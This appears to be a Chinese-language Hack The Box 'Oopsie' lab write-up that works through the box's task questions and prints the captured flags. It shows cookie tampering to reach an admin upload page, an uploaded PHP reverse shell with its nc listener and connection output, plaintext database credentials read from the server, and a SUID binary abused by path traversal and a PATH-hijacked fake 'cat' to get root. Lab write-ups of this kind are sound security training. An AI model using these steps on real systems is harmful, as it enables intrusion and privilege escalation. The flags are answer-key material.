HTB-Oopsie题解

Task 1


Q:With what kind of tool can intercept web traffic?

A:proxy

Task 2

Q:What is the path to the directory on the webserver that returns a login page?

F12检查元素发现有一行<script src="/cdn-cgi/login/script.js"></script>
这不就找到后台了?

根据提示也可以使用burpsuite的爬虫爬取,在Target下的Sitemap

A:/cdn-cgi/login

Task 3

Q:What can be modified in Firefox to get access to the upload page?

这个用burpsuite拦截数据包,很容易发现cookie里包含了id

A:cookie

Task 4

Q:What is the access ID of the admin user?

打开后台发现可以使用Guest账号登录,进去之后有一个account选项卡,点进去发现是显式自己的资料,但是URL有一个Get的参数id=1
直接改成id=1
就显示了admin的ID

这里可以通过intruder
爆破所有ID账号

A:34322

Task 5

Q:On uploading a file, what directory does that file appear in on the server?

这个可以爆破出来,但是猜一下也无妨

A:/uploads

Task 6

Q:What is the file that contains the password that is shared with the robert user?

这个就要去拿shell了

首先打开网页,打开上传点,发现需要super admin权限才能用,那我们根据之前爆破出来的结果,已经知道了super admin的id是86575,直接抓包改cookie

ls8yuh7t.png

然后用kali自带的反弹shell交上去

cp /usr/share/webshells/php/php-reverse-shell.php .
cat php-reverse-shell.php

里面的ip改成本机

ls8yuye7.png

传的时候也要改一下cookie

上传成功了

接下来我们监听下1234端口

┌──(root💀kali)-[~]
└─# nc -lvnp 1234                                                      127 ⨯
listening on [any] 1234 ...


直接访问shell触发http://10.129.7.7/uploads/php-reverse-shell.php

shell反弹了

┌──(root💀kali)-[~]
└─# nc -lvnp 1234                                                      127 ⨯
listening on [any] 1234 ...
connect to [10.10.16.86] from (UNKNOWN) [10.129.7.7] 37708
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 02:13:44 up 24 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

但是目前的shell是非交互的,意思就是你输入指令,指令会存放在文件里,而系统从文件中读取执行,不会产生任何交互响应,取消啊输入密码之类的交互信息不能发送。

那我们就要升级shell称为交互shell了!

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
xterm

不成功,可能是哪里出错了,感觉网上的返回交互式shell的方法在这里不适用啊

不过不用交互式shell问题也不大,就是有一些不方便而已

我们返回nc,直接查找答案

$ cd /var/www/html/cdn-cgi/login
$ ls
admin.php
db.php
index.php
script.js
$ cat db.php    
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
$ 


A:db.php

Task 7

Q:What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?

重新挑战交互式shell,这回不用交互式shell是真不行了

$ SHELL=/bin/bash script -q /dev/null    //这里新建了一个tty

www-data@oopsie:/$ su robert
su robert
Password: M3g4C0rpUs3r!

我们直接用泄露的账号密码登录进去,这样就有了一个交互shell,但又没有完全交互,不能用中断命令,只是能做一些交互而已,郁闷==、

后来做了扫描发现ssh是开着的,那么完全可以ssh直接连进去,方便得多


题目文的是和组相关的,那么我们先查看一下robert的信息

robert@oopsie:/$ id
id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
robert@oopsie:/$ 

接下来查找一下所有属于用户组的文件,并通过2>/dev/nullpermission deny的错误信息过滤

robert@oopsie:/$ find / -type f -group bugtracker 2>/dev/null 
find / -type f -group bugtracker 2>/dev/null 
/usr/bin/bugtracker

找到了一个/usr/bin/bugtracker

A:find

Task 8

Q:Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?

让我们康康这个文件

robert@oopsie:/$ ls -al /usr/bin/bugtracker
ls -al /usr/bin/bugtracker 
-rwsr-xr-- 1 root bugtracker 8792 Jan 25  2020 /usr/bin/bugtracker

天呐,发现具有s权限!而且所有者是root!
s权限的文件执行时,其拥有的权限会暂时被调整为owner的权限

可执行的文件搭配这个权限,可以得到特权,任意存取该文件的所有者能使用的全部系统资源,我们尝试运行它,发现这个文件根据提供的ID值输出以该数字为编号的bug报告
--某大佬

A:root

Task 9

Q:What SUID stands for?

A:Set owner User ID

Task 10

Q:What is the name of the executable being called in an insecure manner?

A:cat

Flag

user flag

robert@oopsie:~$ cd /home/robert
robert@oopsie:~$ cat user.txt
f2c74ee8db7983851ab2a96a44eb7981

flag:f2c74ee8db7983851ab2a96a44eb7981

解法1

我们可以通过运行bugtracker来获得flag

robert@oopsie:/usr/bin$ ./bugtracker 

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: ../root.txt
---------------

af13b0bee69f8a877c3faf667f7beacf

解法2

通过strings
命令获取到文件里面的所有ASCII码字符串,用来洞悉使用了哪些命令

其中有一条就是cat /root/reports


那么查阅大佬的记录,哦吼?!

其含义是bugtracker调用系统中的cat命令输出了位于/root/reports/目录下的bug报告,robert用户本应无权访问/root目录,而bugtracker设置了setuid后就拥有了/root目录的访问,就拥有了root权限。且cat命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻cat命令,可以考虑创建一个恶意的cat命令,并修改当前用户环境变量,将权限提升为root。
export PATH=/tmp:$PATH                //将/tmp目录设置为环境变量
cd /tmp/                            //切换到/tmp目录下
echo '/bin/sh' > cat                //在此构造恶意的cat命令
chmod +x cat                        //赋予执行权限

这样bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意的cat命令

再运行一下bugtracker

robert@oopsie:/tmp$ ./../usr/bin/bugtracker

返回了root权限,不过是临时的,并不是把robert改成了真正的root

# id    
uid=0(root) gid=1000(robert) groups=1000(robert),1001(bugtracker)

既然有了root权限,那么就可以读取root.txt了


flag:af13b0bee69f8a877c3faf667f7beacf

评论区
头像
文章目录